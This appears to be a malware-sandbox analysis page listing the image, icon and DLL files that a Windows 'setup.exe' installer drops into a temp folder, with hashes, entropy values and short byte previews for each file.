Preview:	......JFIF..............Ducky.......<.....}http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="F6E435DCD16DBE3081E67A9BF3EA6B5E" xmpMM:DocumentID="xmp.did:91A4FA10C43711EB8B9BAF848460155F" xmpMM:InstanceID="xmp.iid:91A4FA0FC43711EB8B9BAF848460155F" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8f9355ef-3a2e-f044-b70e-4c47f221b2b1" stRef:documentID="adobe:docid:photoshop:94c02c68-8c9f-ce41-9654-6287b20ac7f6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C........................................................ "..".

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\dialog.svg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	33179
Entropy (8bit):	4.256250067040064
Encrypted:	false
SSDEEP:	768:VpZxTZxf525K1Wz9w5HENvBlPdBXqo4yw1ELYO2i:jTZy5KL5wMoHM8
MD5:	9A3A9D5895B3645C3CCCAA4DD20C2358
SHA1:	54872FCD8F36757B372A77F61F89209687C3AEE0
SHA-256:	135CC57F4BBC69C47464D4CF315AD7BA4852FD956D40DD86B6D3FBA3373DF28C
SHA-512:	B6329658DF74613C3643E28436A7B282C47D0F73A4424D2EC3CA34D33474E2A8E785DDCC05C0AD296A80D8CD6218691A1A2456080942DBFF8CBCD51FC1F6D6B8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 25.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="Mono_1_" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 500 316" enable-background="new 0 0 500 316" xml:space="preserve">..<g id="Layer_1_xA0_Image_1_">..</g>..<g id="Rectangle_2_xA0_Image_1_">...<linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="81.708" y1="-0.2944" x2="81.708" y2="315.2888">....<stop offset="1.723294e-03" style="stop-color:#06409A"/>....<stop offset="0.1268" style="stop-color:#133F96"/>....<stop offset="0.358" style="stop-color:#353D8C"/>....<stop offset="0.6699" style="stop-color:#6C397C"/>....<stop offset="1" style="stop-color:#AE3569"/>...</linearGradient>...<rect x="0.1" y="-0.3" fill="url(#SVGID_1_)" width="163.1" height="317"/>..</g>..<g id="app_x5F_logo_xA0_Image_1_">...<g opacity="0.15">....<defs>.....<rect id="SVGID_2_"

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\exclamic

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.486912391627119
Encrypted:	false
SSDEEP:	96:+jsnrGWGIxANQAI2DZ4uHnIdUsbTgvCh3gs//oUvz4tbr4/w:+YzxkQAj4eIdqv8T//3+bsw
MD5:	3FBB7DDBC13EDF109E3ACAA7A4A69A4E
SHA1:	BF53201D998ED6E6F2E07584EFDA9585113AEB0E
SHA-256:	F8429073C7A83377AD754824B0B81040D68F8C1350A82FF4DCCF8BC4BF31F177
SHA-512:	CF818A9E88002D373019C0F3C9AF1BE27F20E074C662973898724124EC40F95CEC89F73D4A2F693C73D63981109EFB135057DEEC9245865C3F6351C128AB93D2
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%......................................................................................................................................................................................................................_....w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w..I..............2.w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w.....J............S....w..4...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...;....w..>......................?.w......Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y.

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_left.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 3 x 3 x 24, image size 38, resolution 3778 x 3778 px/m, cbSize 92, bits offset 54
Category:	dropped
Size (bytes):	92
Entropy (8bit):	2.4736059384431
Encrypted:	false
SSDEEP:	3:k6llllDlxTolR9WZfA1n:k6l1rol7u41n
MD5:	0EDD17E9905D463CE23FBAE64563C8DA
SHA1:	2C26D30E1B7A5761F5048D9494349CAFE40979D9
SHA-256:	237E098ED029198E9F7CFE71BABD6BF9FF3962ED78A263DC7426EA663E601467
SHA-512:	FC358AD0F2E482AD51AF201F2883259DFCF0D577DB1BE8CFF2B9048F22827278CF0CB8A3F76475222D86BE7E945CE9B34AA9B86FC625C908FFAEA0AD6B1EA2C2
Malicious:	false
Preview:	BM\.......6...(...................&....................M..M..M.....M.........M....~?.....

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_left_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 3 x 3 x 24, image size 38, resolution 3778 x 3778 px/m, cbSize 92, bits offset 54
Category:	dropped
Size (bytes):	92
Entropy (8bit):	2.4736059384431
Encrypted:	false
SSDEEP:	3:k6llllDlxToltIAlll:k6l1roliAll
MD5:	1B38EF93DF0C5D4C6C2A10CA0115A28D
SHA1:	17FA1779A66696F9EE1406DA73133745EB4429DD
SHA-256:	4292EA3565B63946777D999352A1986E8F5950F1E8E51F030443F05DBDBDE57D
SHA-512:	1B0B3C6FE0F359AE383D3D5B069341A900AFF610E91D7752D4290FAFE11AC73DFF3CA349DEB6599A6D358ADD4C769AE6CB05C2B751DBBCE738BAE4082167E8E4
Malicious:	false
Preview:	BM\.......6...(...................&....................M..M..M.....M.........M...........

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_mid.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 1 x 3 x 24, image size 14, resolution 3778 x 3778 px/m, cbSize 68, bits offset 54
Category:	dropped
Size (bytes):	68
Entropy (8bit):	2.192775525356426
Encrypted:	false
SSDEEP:	3:84lul0lblxBrul/n:84luKRm/n
MD5:	445B2B911B105CED9B1A3A5CAAA594DD
SHA1:	C326010A040A6D19837360907745A7A05982254F
SHA-256:	ECFC46E3BA63CC8D7DE04134A271B171D9EFD714E4CE9611115836A5B4518E63
SHA-512:	1DED63A90006BD2BFDDB1DE399D0CB483E52A94113E43B3099B6BF3DC7A9A0C7AE74249EBAA600D0D184615661F2FF557B62ED65F073BFAEFC4F84E0CB420360
Malicious:	false
Preview:	BMD.......6...(........................................M......~?...

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_mid_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 1 x 3 x 24, image size 14, resolution 3778 x 3778 px/m, cbSize 68, bits offset 54
Category:	dropped
Size (bytes):	68
Entropy (8bit):	2.192775525356426
Encrypted:	false
SSDEEP:	3:84lul0lblxs7l:84luKYl
MD5:	7610648B8E31404E1621A7A5B510B86D
SHA1:	D51D517A8472BFE40C469AFA8869385D5A0E9783
SHA-256:	48837B62A6A6BC71359FF74BBE8A672D6B23CC30344C12E006698F069890A2B3
SHA-512:	24B03969FD28DE9919D86609BEC03E6ED732ED78B8E0DE3F2FE5253180817D1471E3ED004ABB5ECD91885B6281CEF1B8E508E38E6F76FDCFB88A29E308AC78DD
Malicious:	false
Preview:	BMD.......6...(........................................M...........

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_right.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 3 x 3 x 24, image size 38, resolution 3778 x 3778 px/m, cbSize 92, bits offset 54
Category:	dropped
Size (bytes):	92
Entropy (8bit):	2.4736059384431
Encrypted:	false
SSDEEP:	3:k6llllDlxToljolT1Evn:k6l1rolj4ZEv
MD5:	C288357164D52B2CFD695C792074323B
SHA1:	C8B7B1DDB78C929AD56D8BBD57FF5449AFA04BE3
SHA-256:	709D6FDBE00694F7DC115E923188F62CDC72D39E739280A1AFF072D1A49D2674
SHA-512:	8D07E5C163C9E4B0D04A861E00BE1F578D7A77C2F3EBA80DEB3895B2B354D4015FF1905A2DFCDCCC1B8EC839359DCC302E09F753623AA7F0DF212540CE8A56B2
Malicious:	false
Preview:	BM\.......6...(...................&....................M..M..M.........M.....~?...M......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_bottom_right_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 3 x 3 x 24, image size 38, resolution 3778 x 3778 px/m, cbSize 92, bits offset 54
Category:	dropped
Size (bytes):	92
Entropy (8bit):	2.4736059384431
Encrypted:	false
SSDEEP:	3:k6llllDlxTolYByoYQoXn:k6l1rolYB+
MD5:	2C84C848BBCD7BD57579D3431E8A363A
SHA1:	5DC73F68798E73318D03979810BC00A4E94956D9
SHA-256:	F212B152D4647EDCD36D2218713296AFBF9AC5E86965C309DF8F245FB89A06E3
SHA-512:	5AF2BFF30850458EF08340FE4EF9AE9E78D5AE1124C3A9DD365B6DD0E97A30BA079E466EC7F127485F5A89BE7350D27371FEE665B9D6214CD94532ED346EFFA3
Malicious:	false
Preview:	BM\.......6...(...................&....................M..M..M.........M..........M......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_caption.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 1 x 22 x 24, image size 90, resolution 3778 x 3778 px/m, cbSize 144, bits offset 54
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.230902217075131
Encrypted:	false
SSDEEP:	3:3l7lsl9/lp1bcNHTlFRQhXWl5+la9JeC2elq12xSpFvqsCll:3lhslfp0zlEBW6QAelPUvSll
MD5:	A8A4420FBE5DBE8FFF5A4457FBDC0923
SHA1:	4475046BF4A5B7AF62099521D2A28DF47EB14FC8
SHA-256:	4E504366B5A0B48020EE2E29BEB17092010CEDB50CAA9A901BD6B2E921803582
SHA-512:	DAC1A4FCE6A95B965259EB7B92FA73BF532F3F2AF929D5930538E16A2BAB40D58384EA924CE63DAC9235CB6E5585171A21B835EC2B2E359091BB2C7861263BC4
Malicious:	false
Preview:	BM........6...(...................Z....................\|=..\|=..\|=..\|=..{=..z;..y:..x9..v7..t5..r3..p1..n/..l-..j+..h)..f'..d%..b#..`!.._ ..]....

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_caption_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 1 x 22 x 24, image size 90, resolution 3778 x 3778 px/m, cbSize 144, bits offset 54
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.1919463804470976
Encrypted:	false
SSDEEP:	3:3l7lsl9/lhCqZ7tOCUJfL9ozJ1ru+PfwS/ln:3lhslfhCiICLzru+Qil
MD5:	3D8494DD57AE17B57726E6530FC60237
SHA1:	09B19EE5FC72B2A07452ED242983C464E2ED5EB0
SHA-256:	196BF30CC41139CCAECB41584FCDC4A61842C246F81A3C7C4A6BA2A5BEA4038C
SHA-512:	3E02E2C06C922FF58C7A6BB9E6B320E7E9A1DC70CD283986657B02ECECF41219454A1D64B5FC02733744F1A2D31B507691B6854E362639FF943AD5E719238343
Malicious:	false
Preview:	BM........6...(...................Z.....................................~...\|...z...x...u...r...o...l...i...e...b...^...[...X...U...R...O...M...

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_left.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 3 x 1 x 24, image size 14, resolution 3778 x 3778 px/m, cbSize 68, bits offset 54
Category:	dropped
Size (bytes):	68
Entropy (8bit):	2.192775525356426
Encrypted:	false
SSDEEP:	3:86llflFlblxVA1n:86ltti1n
MD5:	78E5ADEF0E9078C2A76DDEA85C1C4DC4
SHA1:	8DA1ED8372EEA6F5CE10154A52B5BD9BCBF1CC18
SHA-256:	84CF7696E5B73513BCF78B1611DE3FAC76E9F99CF9112DD9EA963850441B62FE
SHA-512:	A1F6EE057AD820EE4FE4BB9B9C7703DA8BB9E47109EE384E828E6CB16CAB7FC9A258E39D413FFDF40CA51E2275737F0B68ACD32CF7C6577EE9D7740069A3DA07
Malicious:	false
Preview:	BMD.......6...(........................................M....~?.....

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_left_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 3 x 1 x 24, image size 14, resolution 3778 x 3778 px/m, cbSize 68, bits offset 54
Category:	dropped
Size (bytes):	68
Entropy (8bit):	2.192775525356426
Encrypted:	false
SSDEEP:	3:86llflFlblxElll:86lttcll
MD5:	39CBD0B2CF89509C50EE74963F89F70D
SHA1:	777755CB3E7EAC9F8377552820DEC7BF9D48FBFB
SHA-256:	A46D900FB1D3BA41E6F608587F4A4A414314F48A56CDCA10716491415D38A07F
SHA-512:	8D4486150F12CF144D242735C9940C296DEAFFFA4FD92029909F7B402C4F26F7B3E8AE9F2DFA5518EDF5C8BFB6B622B6CBE3CD6EF39C4EC40EB601F3C51B310D
Malicious:	false
Preview:	BMD.......6...(........................................M...........

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_right.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 3 x 1 x 24, image size 14, resolution 3778 x 3778 px/m, cbSize 68, bits offset 54
Category:	dropped
Size (bytes):	68
Entropy (8bit):	2.192775525356426
Encrypted:	false
SSDEEP:	3:86llflFlblxNpt1n:86lttdH1
MD5:	2E805B0982CDA361E322E201DF8CCEFF
SHA1:	A199D51AAC3AC44C62B7CF9AFAE22EEA7932C63B
SHA-256:	C3F2A56930697C4DB1EA99BAD9F20D7B750F5795181A63EB608C57B7643EDD22
SHA-512:	DADE5A2DEC58631D4F88129012AE941465397FB498EA52010B2C3ABD1E7130D73D47C78BBEA0A600B868BD655C2E2B1A141D683B20C7C01099F8E8F116659785
Malicious:	false
Preview:	BMD.......6...(........................................\|=...M......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_right_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 3 x 1 x 24, image size 14, resolution 3778 x 3778 px/m, cbSize 68, bits offset 54
Category:	dropped
Size (bytes):	68
Entropy (8bit):	2.192775525356426
Encrypted:	false
SSDEEP:	3:86llflFlblxilQoXn:86lttyx
MD5:	171E23CD227D985B89098C5CC632C144
SHA1:	2349ECA4F92E1D4DCC2D47BC3D166A7081A5485B
SHA-256:	C9D87FC1E021CAF801E31E1359D3A13E1DA0C484E3A21EA173D352F924E1A924
SHA-512:	D9AE5802B331B6B8F38E129BD1E4E07270B7469DF2DDD627EF0D6DC7F1CF33F87C334DE00BA35C3033108876291C67AEFBF7B34B9434FAA42C79A2AAE6B4F036
Malicious:	false
Preview:	BMD.......6...(.............................................M......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_left.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 6 x 25 x 24, image size 502, resolution 3779 x 3779 px/m, cbSize 556, bits offset 54
Category:	dropped
Size (bytes):	556
Entropy (8bit):	5.636769477117101
Encrypted:	false
SSDEEP:	12:alUYK/K/K/KJV7BqrXeursG8FFGaKxLneC2zvNiO9bpOOEbQ8ep:a2YEEECboOHGc7KNnoNpppEb0p
MD5:	D4757DA90BF3A96D5CA1B7D8FEDF0A1F
SHA1:	C4BE7503191C6926AD33853B05CC43AD87A6B1E8
SHA-256:	0E8B86D175526133E239A0A4DC6308C6B529D9B2DB2E469CE5098A39F3432168
SHA-512:	B0FA9AC1B48E4C2D9E4289A65A4F8D46EDEAAA5D43309089D67778CE72C72F2E352A792B10C24146C75E604F83158E5B0E665FC70DF9886DFD4128F4B1FB2471
Malicious:	false
Preview:	BM,.......6...(........................................M....~?.\|=.\|=.\|=...M....~?.\|=.\|=.\|=...M....~?.\|=.\|=.\|=...M....~?.\|=.\|=.\|=...M....}?.{=.{=.{=...M....\|=.z;.z;.z;...M....{<.y:.y:.y:...M....z;.x9.x9.x9...M....x9.v7.v7.v7...M....v7.t5.t5.t5...M....t5.r3.r3.r3...M....r3.p1.p1.p1...M....p1.n/.n/.n/...M....n/.l-.l-.l-...M....l-.j+.j+.j+...M.....j,.h).h).h)...M.....h.f'.f'.f'...M.....f(.d%.d%.d%...M...\|.g.b#.b#.b#...M...l.u>.`!.`!.`!......M...~._ ._ ._ ......M...r..h.]..]..........M...p..\|.xD............M..M...b..................M.....

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_left_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 6 x 25 x 24, image size 502, resolution 3779 x 3779 px/m, cbSize 556, bits offset 54
Category:	dropped
Size (bytes):	556
Entropy (8bit):	5.618119058335867
Encrypted:	false
SSDEEP:	12:alUIVR4LoFqwT5LRa7VCupDZWOGYahgxMO+:a2IR4LrkL8YuFZrtr+
MD5:	DF94017171D579959895EDC072D39120
SHA1:	0C0FACCEAFAC06C603F125CC170973851796D961
SHA-256:	706D0EC93AB304F05F6D3B8B9DA613CA404943E9DBFF9061984B5417F15711F8
SHA-512:	2576993C63B702EE9C6428A7D2698F94D6B7AFB5277B60A0F51979AB7494651EA68ED46C0448A6F7D6954455AEC9DCF17755CF20E666A7267197ADFD4D162A74
Malicious:	false
Preview:	BM,.......6...(........................................M..................M..................M..................M..................M........~..~..~...M.....~..\|..\|..\|...M.....\|..z..z..z...M.....z..x..x..x...M.....w..u..u..u...M.....t..r..r..r...M.....q..o..o..o...M.....n..l..l..l...M......k..i..i..i...M.....g..e..e..e...M.....d..b..b..b...M.....`..^..^..^...M.....]..[..[..[...M.....Z..X..X..X...M.....Z..U..U..U...M......h..R..R..R......M.....O..O..O......M.........M..M.........M........m............M..M...v..................M.....

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_mid.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 1 x 3 x 24, image size 14, resolution 3778 x 3778 px/m, cbSize 68, bits offset 54
Category:	dropped
Size (bytes):	68
Entropy (8bit):	2.192775525356426
Encrypted:	false
SSDEEP:	3:84lul0lblxAtKX:84luKqKX
MD5:	440363D27344241CF3574CDC43CCA3D5
SHA1:	CDEB4F94AE64C5BBE4740C3773E9EA8C8502CAC2
SHA-256:	358FE1E6B51DD850C2463506D20D341B6AC09194CE0844734CD5386A4D82692B
SHA-512:	4F7EDEE0F1E294995785F792ED03B74991C8CF8A750E996477FC8590E0645187FE9201BC4847CB4FCB790BDAFF0BA29C4FDC7F7A088180514583EB3FDA29C58D
Malicious:	false
Preview:	BMD.......6...(........................................^ ...{..M....

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_mid_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 1 x 3 x 24, image size 14, resolution 3778 x 3778 px/m, cbSize 68, bits offset 54
Category:	dropped
Size (bytes):	68
Entropy (8bit):	2.152262473854022
Encrypted:	false
SSDEEP:	3:84lul0lblx5+4l:84luK04l
MD5:	FC284F137A181D626CBFB9B980265A14
SHA1:	AF1DC42B8706F65E80B5AA021DA38E7C48BF5AC5
SHA-256:	EBF14004ABB9171EFB791D5ED78D6F028F09775EC047BFE2BD9A3AD4DC431A0C
SHA-512:	AAB8700806A42877B1B09379A606D49426CD0FA62C0856CC64BCCFEC6ED1E67130A908FB8D4FEBA6C6D1B8D530A5ACB380FAD9D6ED1A170103D3A90A35A788FD
Malicious:	false
Preview:	BMD.......6...(.........................................M.....M....

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_right.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 6 x 25 x 24, image size 502, resolution 3779 x 3779 px/m, cbSize 556, bits offset 54
Category:	dropped
Size (bytes):	556
Entropy (8bit):	5.484479797867763
Encrypted:	false
SSDEEP:	12:alUzav1+uv1+uv1+uv1+5wenBOdgsNsC/lY8G4/Kg83RroZoL/0MSiOG0Jj0/BeO:a23fff5weBOXr7/Kg83CSXOG0JI/BeHu
MD5:	50656C6F33CB1490EEE92CFCF2F4FA80
SHA1:	CA5A3FE9B1F6130E6452CEDF5D3734781F6E150B
SHA-256:	EF8FC7A18AF77FED42BF20FD640543B0CFAF312A4C9DFC0C2F35CE1AF9AE58E9
SHA-512:	B8E2E2945FCB5699E063BFDAD3FC6AE72BE96BF342883DC60B8AC81C4143888AA23CCF237B935F56B5F586AFE4772EDA39B443E0797385ED358638CB7052EEC6
Malicious:	false
Preview:	BM,.......6...(........................................\|=.\|=.\|=.\|=...M....\|=.\|=.\|=.\|=...M....\|=.\|=.\|=.\|=...M....\|=.\|=.\|=.\|=...M....{=.{=.{=.{=...M....z;.z;.z;.z;...M....y:.y:.y:.y:...M....x9.x9.x9.x9...M....v7.v7.v7.v7...M....t5.t5.t5.t5...M....r3.r3.r3.r3...M....p1.p1.p1.p1...M....n/.n/.n/.n/...M....l-.l-.l-.l-...M....j+.j+.j+.j+...M....h).h).h).h)....M....f'.f'.f'.f'....M....d%.d%.d%.d%....M....b#.b#.b#.b#....M....`!.`!.`!.r:..n.M...._ ._ ._ ..~.M.......]..]...h..r.M.......{H..\|..m.M...........a.M..M.............M....................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\frame_top_right_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 6 x 25 x 24, image size 502, resolution 3779 x 3779 px/m, cbSize 556, bits offset 54
Category:	dropped
Size (bytes):	556
Entropy (8bit):	5.599477820967879
Encrypted:	false
SSDEEP:	12:alUPuuuxqOeayLeVnA1TbHusQA+RgZpEH8An1s:a2oqO2fHusQpIE5nK
MD5:	4178D84D2CD986063D2A7C91C57295D2
SHA1:	FC5EA9402CD9C325716A2B79D070AC3E756C9F2F
SHA-256:	5365B988C102E46F73418EC36E0DE5B1749C2080C3D2DA660C507A9C505F333E
SHA-512:	ACA1CA7E16049ADF1B26DC8D26E99461069FD133587E748012347E66EEF9BDB90FDA0D197C86334667CC04B0289CFBE8FE8727EABF3BDE9827A1066A71133A32
Malicious:	false
Preview:	BM,.......6...(......................................................M..................M..................M..................M.....~..~..~......M.....\|..\|..\|..~...M.....z..z..z..\|...M.....x..x..x..z...M.....u..u..u..w...M.....r..r..r..t...M.....o..o..o..q...M.....l..l..l..n...M.....i..i..i..k....M.....e..e..e..g...M.....b..b..b..d...M.....^..^..^..`...M.....[..[..[..]...M.....X..X..X..Z...M.....U..U..U..Z...M.....R..R..R..h....M.....O..O..O...M........M..M......M........i......M...........z.M..M.............M....................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\info

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.347251063198798
Encrypted:	false
SSDEEP:	192:+h7OMtMrJbDG0UDLHMrhmZ1galQpAAAAAAAAAAAS55qjOlr9n:+6g0uyi1ZQpAAAAAAAAAAASXqjOp9n
MD5:	8595D2A2D58310B448729E28649443D6
SHA1:	08C1DF6FBF692F21157B2276EB1988AC732FF93C
SHA-256:	27F13C4829994B214BB1A26EEF474DA67C521FD429536CB8421BA2F7C3E02B5F
SHA-512:	AE409B8F210067AC194875E8EBF6A04797DF64FA92874646957B2213FB4A4F7DA2427EF1ED8D35CD2832B2A065E050298BAC0FC99C2A81DE4A569A417C2A1037
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%.....................................................................................................................{...............................................................................................................................................................................................rqr............................................................................................................................................................................................rqr............................................................................................................................................................................................tst............................................................................................................................................................................}................yxy...................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\insticon

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.9105220993102248
Encrypted:	false
SSDEEP:	96:+7d0iiiiiiiuiiiiiiiZiiiiii0DMiiiiiiZiiiiiPiiiiiDfiiiiiMiiiii1Ji3:+TB4Gds1E2fVE5MF+mJwnwewO
MD5:	EAC3781BA9FB0502D6F16253EB67B2B4
SHA1:	5EFF4FCDC405732702432008AB43164CA6F37101
SHA-256:	F864E8640C98B65C6C1B9B66A850661E8397ED6E66B06F4424396275488AF1BE
SHA-512:	D108687995B5B02778FC7ACF3A66706E761103B1EE47305D852BF9A190BDF1722B4C6277A13B65BDAD9F4E3F92406F5C7B1B06444D1493F2D4B1AAEAF4176E06
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%....................................................................................................x...t..f..f..t.....x...".......................................................................................................................................................d................................d...........................................................................................i...N...N...N...N...N...N...N...N...N..S...`.....s.k................................................j....Z.................................................................................N.......................................N.......d..........................................................d...s.............................................................................N......................................If...c..................................................................d....X..

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\lzmaextractor.dll

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22848
Entropy (8bit):	6.8705781741307765
Encrypted:	false
SSDEEP:	384:iOw0cxp5wbrBgrjrI/ehLI/ehDvZYLX2Ip4kR4qjdAA1m5wMPhzmubmm+ccP:iOAxMVTacaDRYT2Ip484qxf1mlZxbWP
MD5:	9D67E3BE4D83160D24FEE65F6E1868E5
SHA1:	9AED13C010F24C6888DA91D883A1A31AC45E029A
SHA-256:	4FC58D819A4BC75CB8170192E34FDB17E31C38831A7230ED0E03A30EB38CCF9D
SHA-512:	73AF8E17FA6C949FFB0861118A10B362DEA4A236B60912497E8F97C75CC8EBE3CDDBC8018A4E8CF24B539DA6122790FDB081CF4B68C59197EC579E13191372EB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Typora#U5b89#U88c5#U52a9#U624b.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u9X..jX..jX..j...kW..jX..jh..jA..k]..jA..kY..jA..jY..jX..jY..jA..kY..jRichX..j........................PE..L...>>.d.........."!...$............@........ ...............................`......n.....@.........................P".......$.......@..h...............@=...P..\....!..p............................................ ..X............................text...)........................... ..`.rdata..X.... ......................@..@.data........0......................@....rsrc...h....@......................@..@.reloc..\....P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\removico

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.8375433162027344
Encrypted:	false
SSDEEP:	96:+SqmR4fTBOTPsbZX78rXSEUFJVkKuCWGDiPlBaBR6J/g/ic9teKUwj11FQ:+SqmiTXZLPjkKuCNU7wic6PR
MD5:	1FFFE5C3CC990D0C012A428A59B2AE46
SHA1:	FAE8042826087D9BB4CD4194E7453D56A773EA64
SHA-256:	45791627AE8E67E6B616117CF21F04DA381722FAF08D07C0C25E0F28C9B8F82B
SHA-512:	694D63747AD129CA06EBD743E4090642E557F2260C62AA625321BC309C1E2E58D9BFFF1E0AEE37EFFE5FD4628938AD89B659C9ABB43FDC2CF2285212C1A209F2
Malicious:	false
